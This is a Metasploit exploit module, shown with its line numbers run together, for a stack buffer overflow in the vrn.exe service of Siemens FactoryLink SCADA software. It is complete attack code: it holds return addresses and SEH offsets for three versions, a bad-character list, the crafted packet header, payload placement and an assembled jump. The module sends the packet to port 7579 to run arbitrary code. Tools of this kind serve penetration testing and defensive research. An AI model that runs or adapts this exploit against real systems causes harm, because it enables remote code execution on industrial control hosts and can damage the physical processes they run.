Path: blob/master/modules/exploits/windows/scada/factorylink_vrn_09.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,18and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to19execute arbitrary code due to the improper use of a vsprintf() function while20processing the user-supplied text field. Originally found and posted by21Luigi Auriemma.22},23'Author' => [24'Luigi Auriemma', # Public exploit25'hal', # Metasploit module26'MC', # SEH, badchars, etc27],28'License' => MSF_LICENSE,29'References' => [30['OSVDB', '72815'],31['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],32['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']33],34'Privileged' => true,35'DefaultOptions' => {36'EXITFUNC' => 'seh',37},38'Payload' => {39'Space' => 550,40'BadChars' => "\x00\x20\x0a\x0d",41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' => [45[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],46[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],47[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],48],49'DisclosureDate' => '2011-03-21',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options([Opt::RPORT(7579)])59end6061def exploit62header = "\x3f" * 463header << "\xff\x55"64header << "\x09\x00" # opcode65header << "\x3f\x3f\xff\xff"66header << "\x00\x00\x3f\x3f"67header << "\x01\x00"68header << "\x3f" * 1669header << "\x01\x00\x01\x00"70header << "\x3f\x3f"7172data = rand_text_alpha_upper(65535)73data[448, payload.encoded.length] = payload.encoded74data[target['Offset'], 8] = generate_seh_record(target.ret)75data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string7677print_status("Trying target #{target.name}...")7879connect80sock.put(header + data)8182handler8384select(nil, nil, nil, 1)85disconnect86end87end888990